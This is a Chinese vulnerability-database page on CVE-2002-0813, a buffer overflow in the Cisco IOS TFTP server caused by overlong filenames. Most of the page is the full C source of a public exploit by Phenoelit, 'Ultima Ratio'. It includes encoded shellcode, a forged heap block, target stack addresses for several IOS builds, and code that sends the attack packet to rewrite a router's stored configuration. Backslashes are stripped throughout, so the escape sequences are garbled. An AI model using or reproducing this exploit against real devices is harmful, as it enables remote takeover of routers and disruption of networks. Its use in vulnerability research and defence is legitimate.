Cisco IOS TFTP服务超长文件名远程缓冲区溢出漏洞
漏洞ID | 1106879 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2002-07-26 | 更新时间 | 2005-05-02 |
CVE编号 | CVE-2002-0813 |
CNNVD-ID | CNNVD-200208-244 |
漏洞平台 | Hardware | CVSS评分 | 7.1 |
|漏洞来源
|漏洞详情
Cisco路由器是CISCO公司开发的广泛使用的Internet路由器,使用CiscoIOS操作系统。CiscoIOS内嵌的TFTP服务器在处理文件名时缺少正确的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。CiscoIOS内嵌的TFTP服务器没有正确检查请求文件名的长度,如果请求的文件名超过700个字节就可能导致路由器崩溃,设备重新启动,中断正常的通信。CiscoIOS12.0和后续的版本不存在此漏洞,Cisco分配这个BUGID为CSCdy03429。
|漏洞EXP
source: http://www.securityfocus.com/bid/5328/info
A problem has been discovered in Cisco IOS and MGX switches that could result in a denial of service, and potential code execution.
It has been discovered that the TFTP server file name handling of Cisco IOS is vulnerable to a buffer overflow. This overflow results due insufficient bounds checking on requested file names. A request for a file name of 700 or more bytes will result a crash of the router, and reboot of the device.
On Cisco MGX switches, the TFTP service will fail but the device will continue to function.
Cisco IOS versions 12.0 and later are not prone to this issue. Cisco has assigned Cisco Bug ID CSCdy03429 to this vulnerability.
Cisco has announced that some MGX switches are also affected by this issue. Cisco has assigned Cisco Bug ID CSCdy03429 to this vulnerability.
/*
--== P H E N O E L I T ==--
____ _______ _____ _______
____ ____ / /__ __/ __ ___ ______ / /______/__ __/ ______
/ / / / / / / -*-/ _/ // / / / / / / -*- / __ /
/ / / / / / / __ / /_// // __ / / / __ / / / __ / / / /
/ /__/ / /____/ / / // / / // / / / / / / / / / / / / / / / /_/ /
/__________/______/_/ /_//_/ /_//_/ /_/ /_/ /_/_/ /_/ /_/ /_/ /_____/
*/
/* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
* by FX of Phenoelit <[email protected]>
* http://www.phenoelit.de
*
* Black Hat Briefings 2002 / Las Vegas
* DefCon X 2002 / Las Vegas
*
* Cisco IOS 11.1.x to 11.3.x TFTP-Server
* If a TFTP server for a flash file is configured, a long filename in the TFTP
* request will overflow a heap buffer. The attached program is a PoC to exploit
* this vulnerability by executing "shell code" on the router and write the
* attached configuration into NVRAM to basically own the router.
*
* Command line argument -p XXXXXXXX most definetly required. Obtain from syslog
* host or any other means possible. The stack address changes by image.
* Find the right one for the IOS build you are running and if you feel like it,
* send it to me.
*
* Kiddy Warnings:
* - It will NOT work in fire-and-forget mode.
* - The shellcode is only good for Cisco 1000 and 1600 series.
* - This code is not for illegal use.
*
* $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
typedef struct {
u_int16_t opcode __attribute__((packed));
u_int8_t file __attribute__((packed));
u_int8_t type __attribute__((packed));
} tftp_t;
typedef struct {
u_int16_t magic __attribute__((packed));
u_int16_t one __attribute__((packed));
u_int16_t checksum __attribute__((packed));
u_int16_t IOSver __attribute__((packed));
u_int32_t unknown __attribute__((packed));
u_int32_t ptr __attribute__((packed));
u_int32_t size __attribute__((packed));
} nvheader_t;
struct {
int verbose;
int test;
char *filename;
unsigned int overflow;
u_int32_t prev;
u_int32_t next;
u_int32_t offset;
u_int32_t buffer_location;
u_int32_t stack_address;
unsigned int nop_sleet;
int dot1;
} cfg;
u_int16_t chksum(u_char *data, unsigned long count);
void hexdump(unsigned char *bp, unsigned int length);
void usage(char *s);
#define MAX_SIZE 1472
#define XOR_PAT 0xD5
#define FB_PREV 28
#define FB_NEXT 24
#define FB_FREENEXT 60
#define FB_FREEPREV 64
#define SPLASH
"Phenoelit ULTIMA RATIOn"
" Cisco IOS TFTP-Server remote exploit (11.1.-11.3)n"
" (C) 2002 - FX of Phenoelit <[email protected]>n"
int main(int argc, char **argv) {
char option;
extern char *optarg;
unsigned int i;
/* confg file */
int fd;
struct stat sb;
u_char *buffer;
u_char *p;
nvheader_t *nvh;
unsigned int len;
u_int16_t cs1;
u_int32_t temp;
/* Network */
int sfd;
struct in_addr dest;
struct sockaddr_in sin;
/* the packet */
unsigned int psize = 0;
u_char *pack;
tftp_t *tftp;
char tftp_type[] = "PHENOELIT";
char terminator[] = "xCAxFExF0x0D";
char fakeblock[] =
"xFDx01x10xDF" // RED
"xABx12x34xCD" // MAGIC
"xFFxFFxFFxFF" // PID
"x80x81x82x83" //
"x08x0CxBBx76" // NAME
"x80x8ax8bx8c" //
"x02x0Fx2Ax04" // NEXT
"x02x0Fx16x94" // PREV
"x7FxFFxFFxFF" // SIZE
"x01x01x01x01" //
"xA0xA0xA0xA0" // padding ?
"xDExADxBExEF" // MAGIC2
"x8Ax8Bx8Cx8D" //
"xFFxFFxFFxFF" // padding
"xFFxFFxFFxFF" // padding
"x02x0Fx2Ax24" // FREE NEXT (BUFFER)
"x02x05x7ExCC" // FREE PREV (STACK of Load Meter, return address)
;
char fakeblock_dot1[] =
"xFDx01x10xDF" // RED
"xABx12x34xCD" // MAGIC
"xFFxFFxFFxFF" // PID
"x80x81x82x83" //
"x08x0CxBBx76" // NAME
"x80x8ax8bx8c" //
"x02x0Fx2Ax04" // NEXT
"x02x0Fx16x94" // PREV
"x7FxFFxFFxFF" // SIZE
"x01x01x01x01" //
//"xA0xA0xA0xA0" // no padding here on 11.1
"xDExADxBExEF" // MAGIC2
"x8Ax8Bx8Cx8D" //
"xFFxFFxFFxFF" // padding
"xFFxFFxFFxFF" // padding
"x02x0Fx2Ax24" // FREE NEXT (BUFFER)
"x02x05x7ExCC" // FREE PREV (STACK of Load Meter, return address)
;
char nop[] =
"x4Ex71"; // the IOS will write here
char shell_code[] =
// ************** CODE ****************
"x22x7cx0fxf0x10xc2" //moveal #267391170,%a1 (0x020F2A24)
"xe2xd1" //lsrw %a1@ (0x020F2A2A)
"x47xfax01x23" //lea %pc@(12d<xor_code+0xfd>),%a3 (0x020F2A2C)
"x96xfcx01x01" //subaw #257,%a3 (0x020F2A30)
"xe2xd3" //lsrw %a3@ (0x020F2A34)
"x22x3cx01x01x01x01" //movel #16843009,%d1 (0x020F2A36)
"x45xfax01x17" //lea %pc@(131<xor_code+0x101>),%a2(0x020F2A3C)
"x94xfcx01x01" //subaw #257,%a2 (0x020F2A40)
"x34x3cxd5xd5" //movew #-10795,%d2 (0x020F2A44)
"xb5x5a" //eorw %d2,%a2@+ (0x020F2A48)
"x0cx92xcaxfexf0x0d" //cmpil #-889262067,%a2@ (0x020F2A4A)
"xccx01" //branch (modified) (0x020F2A50)
"xffxf6" //(0x020F2A52)
// ************** XORed CODE ****************
"x93x29xF2xD5" //movew #9984,%sr (0x020F2A5E)
"xF7xA9xDAx25xC5x17" //moveal #267391170,%a1 (0x020F2A62)
"xE7x69xD5xD4" //movew #1,%a1@ (0x020F2A68)
"x90x2FxD5x87" //lea %pc@(62 <config>),%a2 (0x020F2A6C)
"xF7xA9xDBxD5xD7x7B" //moveal #234881710,%a1 (0x020F2A70)
"xA1xD4" //moveq #1,%d2 (0x020F2A76)
"xC7x0F" //moveb %a2@+,%a1@+ (0x020F2A78)
"xF7xE9xD5xD5x2Ax2A" //movel #65535,%d1 (0x020F2A7A)
"x46x97" //subxw %d2,%d1 (0x020F2A80)
"xBExD5x2Ax29" //bmiw 22 <write_delay> (0x020F2A82)
"xD9x47x1Fx2Bx25xD8" //cmpil #-889262067,%a2@ (0x020F2A86)
"xB3xD5x2Ax3F" //bnew 1a <copy_confg> (0x020F2A8C)
"xE7x29xD5xD5" //movew #0,%a1@+ (0x020F2A90)
"xF7xE9xD5xD5x2Ax2A" //movel #65535,%d1 (0x020F2A94)
"x46x97" //subxw %d2,%d1 (0x020F2A9A)
"xBExD5x2Ax29" //bmiw 3c <write_delay2> (0x020F2A9C)
"x66x29xDBxD5xF5xD5" //cmpal #234889216,%a1 (0x020F2AA0)
"xB8xD5x2Ax3D" //bltw 32 <delete_confg> (0x020F2AA6)
"x93x29xF2xD5" //movew #9984,%sr (0x020F2AAA)
"xF5xA9xDAx25xD5xD5" //moveal #267386880,%a0 (0x020F2AAE)
"xFBx85" //moveal %a0@,%sp (0x020F2AB4)
"xF5xA9xDAx25xD5xD1" //moveal #267386884,%a0 (0x020F2AB6)
"xF5x85" //moveal %a0@,%a0 (0x020F2ABC)
"x9Bx05" //jmp %a0@ (0x020F2ABE)
;
/* configure defaults */
memset(&dest,0,sizeof(dest));
memset(&cfg,0,sizeof(cfg));
cfg.overflow=652;
cfg.prev=0x020F1694;
cfg.next=0x020F2A04;
//cfg.offset=0x13D4;
//cfg.offset=0x137C; // 4988
cfg.offset=0x1390; // 5008
cfg.buffer_location=0x020F2A24;
cfg.stack_address=0x02057ECC;
cfg.nop_sleet=16;
printf("%sn",SPLASH);
while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
switch (option) {
case 'd': if (inet_aton(optarg,&dest)==0) {
/* ups, wasn't an IP - maybe a hostname */
struct hostent *hd;
if ((hd=gethostbyname(optarg))==NULL) {
fprintf(stderr,"Could not resolve destination hostn");
return (1);
} else {
bcopy(hd->h_addr,(char *)&dest,hd->h_length);
}
}
break;
case 'f': cfg.filename=(char *)malloc(strlen(optarg)+1);
strcpy(cfg.filename,optarg);
break;
case 'l': if ( (cfg.overflow=atoi(optarg))==0 ) {
fprintf(stderr,"Overflow length incorrectn");
return (1);
}
break;
case 'o': if ( (cfg.offset=atoi(optarg))==0 ) {
fprintf(stderr,"Offset incorrectn");
return (1);
}
break;
case 'N': if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
fprintf(stderr,"NOP sleet incorrectn");
return (1);
}
break;
case 'p': sscanf(optarg,"%08X",&(cfg.prev));
break;
case 'n': sscanf(optarg,"%08X",&(cfg.next));
break;
case 's': sscanf(optarg,"%08X",&(cfg.stack_address));
break;
case 'v': cfg.verbose++;
break;
case 't': cfg.test++;
break;
case '1': cfg.dot1++;
break;
default: usage(argv[0]);
return (1);
}
}
/*
* check for dummies
*/
if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
usage(argv[0]);
return 1;
}
/*
* patch fake block with new addresses
*/
cfg.buffer_location=cfg.prev+20+cfg.offset;
if (cfg.dot1) {
temp=htonl(cfg.prev+20);
memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
temp=htonl(cfg.next);
memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
temp=htonl(cfg.buffer_location);
memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
temp=htonl(cfg.stack_address);
memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
} else {
temp=htonl(cfg.prev+20);
memcpy(&(fakeblock[FB_PREV]),&(temp),4);
temp=htonl(cfg.next);
memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
temp=htonl(cfg.buffer_location);
memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
temp=htonl(cfg.stack_address);
memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
}
if (cfg.verbose) {
if (cfg.dot1) printf("using IOS 11.1 Heap management moden");
printf("Values:n"
"- prev ptr of 0x%08Xn"
"- next ptr of 0x%08Xn"
"- buffer located at 0x%08X (offset %u)n"
"- stack return address 0x%08Xn"
"- overflow lenght %un"
"- NOP sleet %un"
,
cfg.prev+20,
cfg.next,
cfg.buffer_location,cfg.offset,
cfg.stack_address,
cfg.overflow,
cfg.nop_sleet);
}
if (cfg.dot1) {
if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
fprintf(stderr,"0x00 byte in fake block detected!n");
if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
return (1);
}
} else {
if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
fprintf(stderr,"0x00 byte in fake block detected!n");
if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
return (1);
}
}
/*
* Load Config
* - load into buffer
* - prepare NVRAM header
* - calculate checksum
* -> *buffer contains payload
*/
if (cfg.filename==NULL) return (-1);
if (stat(cfg.filename,&sb)!=0) {
fprintf(stderr,"Could not stat() file %sn",cfg.filename);
return (-1);
}
if ((fd=open(cfg.filename,O_RDONLY))<0) {
fprintf(stderr,"Could not open() file %sn",cfg.filename);
return (-1);
}
len=sb.st_size;
if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
fprintf(stderr,"Malloc() failedn");
return (-1);
}
memset(buffer,0,len+sizeof(nvheader_t)+10);
p=buffer+sizeof(nvheader_t);
if (cfg.verbose) printf("%d bytes config readn",read(fd,p,len));
close(fd);
/*
* pad config so it is word bound for the 0xcafef00d test
*/
if ((len%2)!=0) {
strcat(p,"x0A");
len++;
if (cfg.verbose) printf("Padding config by onen");
}
nvh=(nvheader_t *)buffer;
nvh->magic=htons(0xABCD);
nvh->one=htons(0x0001); // is always one
nvh->IOSver=htons(0x0B03); // IOS version
nvh->unknown=htonl(0x00000014); // something, 0x14 just works
nvh->ptr=htonl(0x020AA660); // something, 0x020AA660 just works
nvh->size=htonl(len);
cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
if (cfg.verbose) printf("Checksum: %04Xn",htons(cs1));
nvh->checksum=cs1;
/*
* Check the size of all together and make sure it will fit into the
* packet
*/
psize= len + sizeof(nvheader_t) +
+ strlen(fakeblock)
+ ( strlen(nop) * cfg.nop_sleet )
+ strlen(shell_code)
+ strlen(terminator)
+ cfg.overflow + 1
+ sizeof(tftp_t) + strlen(tftp_type) ;
if ( psize > MAX_SIZE ) {
fprintf(stderr,"The config file specified is too big and does not fit"
" into one packet. Specify smaller filen");
free(buffer);
return (1);
}
if ((pack=malloc(psize))==NULL) {
fprintf(stderr,"Could not malloc() packetn");
return (-1);
}
memset(pack,0,psize);
/*
* XOR encode the config block
*/
p=buffer;
for (i=0;i<(len+sizeof(nvheader_t));i++) {
p[i]=p[i]^XOR_PAT;
}
/*
* Prepare the TFTP protocol part
*/
tftp=(tftp_t *)((void *)pack);
tftp->opcode=htons(1);
/* (1) Overflow */
p=(char *)&(tftp->file);
memset(p,'A',cfg.overflow);
p+=cfg.overflow;
/* (2) Fake block */
if (cfg.dot1) {
memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
p+=sizeof(fakeblock_dot1)-1;
} else {
memcpy(p,fakeblock,sizeof(fakeblock)-1);
p+=sizeof(fakeblock)-1;
}
/* (3) add NOP sleet */
for (i=0;i<cfg.nop_sleet;i++) {
memcpy(p,nop,sizeof(nop)-1);
p+=sizeof(nop)-1;
}
/* (4) append shell code */
memcpy(p,shell_code,sizeof(shell_code)-1);
p+=sizeof(shell_code)-1;
/* (5) new config */
memcpy(p,buffer,strlen(buffer));
p+=strlen(buffer);
/* (6) terminator */
strcpy(p,terminator);
p+=strlen(terminator)+1;
/* (7) give it a type */
strcpy(p,tftp_type);
if (cfg.verbose>1) hexdump(pack,psize);
if (cfg.test) return(0);
/*
* Perform attack
*/
if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
perror("socket()");
return (-1);
}
memset(&sin,0,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
sin.sin_port=htons(69); /* tftp */
memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));
printf("*** Sending exploit ***n");
if (sendto(sfd,pack,psize,0,
(struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
perror("sendto()");
return(-1);
}
close(sfd);
if (cfg.verbose) printf("t%d bytes network data sentn",psize);
/*
* clean up
*/
free(buffer);
free(pack);
return 0;
}
/* checksum function as used in IRPAS, stolen somewhere */
u_int16_t chksum(u_char *data, unsigned long count) {
u_int32_t sum = 0;
u_int16_t *wrd;
wrd=(u_int16_t *)data;
while( count > 1 ) {
sum = sum + *wrd;
wrd++;
count -= 2;
}
if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }
while (sum>>16) {
sum = (sum & 0xffff) + (sum >> 16);
}
return (~sum);
}
/* A better version of hdump, from Lamont Granquist. Modified slightly
* by Fyodor ([email protected])
* obviously stolen by FX from nmap (util.c)*/
void hexdump(unsigned char *bp, unsigned int length) {
/* stolen from tcpdump, then kludged extensively */
static const char asciify[] = "................................ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
register const u_short *sp;
register const u_char *ap;
register u_int i, j;
register int nshorts, nshorts2;
register int padding;
printf("nt");
padding = 0;
sp = (u_short *)bp;
ap = (u_char *)bp;
nshorts = (u_int) length / sizeof(u_short);
nshorts2 = (u_int) length / sizeof(u_short);
i = 0;
j = 0;
while(1) {
while (--nshorts >= 0) {
printf(" %04x", ntohs(*sp));
sp++;
if ((++i % 8) == 0)
break;
}
if (nshorts < 0) {
if ((length & 1) && (((i-1) % 8) != 0)) {
printf(" %02x ", *(u_char *)sp);
padding++;
}
nshorts = (8 - (nshorts2 - nshorts));
while(--nshorts >= 0) {
printf(" ");
}
if (!padding) printf(" ");
}
printf(" ");
while (--nshorts2 >= 0) {
printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
ap += 2;
if ((++j % 8) == 0) {
printf("nt");
break;
}
}
if (nshorts2 < 0) {
if ((length & 1) && (((j-1) % 8) != 0)) {
printf("%c", asciify[*ap]);
}
break;
}
}
if ((length & 1) && (((i-1) % 8) == 0)) {
printf(" %02x", *(u_char *)sp);
printf(" %c", asciify[*ap]);
}
printf("n");
}
void usage(char *s) {
fprintf(stderr,
"Usage: %s -d <device_ip> -f config.file [-opts]n"
"Options:n"
" -p 1234ABCD sets the previous ptr addressn"
" -n 1234ABCD sets the next ptr addressn"
" -s 1234ABCD sets the stack addressn"
" -o 1234 sets the offset from prev to buffern"
" -l 1234 sets the overflow sizen"
" -N 1234 sets the NOP sleetn"
" -1 use IOS 11.1 memory layoutn"
" -v increases verbosity (highly recommended)n"
" -t only test, don't sendn"
"n"
"Recommended stack addresses:n"
"IOS 11.1(20) -s 020A1120 (IP Input)n"
"IOS 11.2(18)P -s 0204120C (Load Meter)n"
"IOS 11.2(26)P4 -s 02041554 (Load Meter)n"
"IOS 11.3(11)B -s 02057ECC (Load Meter)n"
,s);
}
|参考资料
来源:CISCO
名称:20020730TFTPLongFilenameVulnerability
链接:http://www.cisco.com/warp/public/707/ios-tftp-long-filename-pub.shtml
来源:BID
名称:5328
链接:http://www.securityfocus.com/bid/5328
来源:OSVDB
名称:854
链接:http://www.osvdb.org/854
来源:XF
名称:cisco-tftp-filename-bo(9700)
链接:http://www.iss.net/security_center/static/9700.php
来源:BUGTRAQ
名称:20020727PhenoelitAdvisory,0815++*-Cisco_tftp
链接:http://online.securityfocus.com/archive/1/284634
来源:BUGTRAQ
名称:20020822CiscoIOSexploitPoC
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=103002169829669&w;=2
相关推荐: Mozilla Firefox Address Bar Image Dragging Remote Script Execution Vulnerability
Mozilla Firefox Address Bar Image Dragging Remote Script Execution Vulnerability 漏洞ID 1097078 漏洞类型 Design Error 发布时间 2005-02-26 更新…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666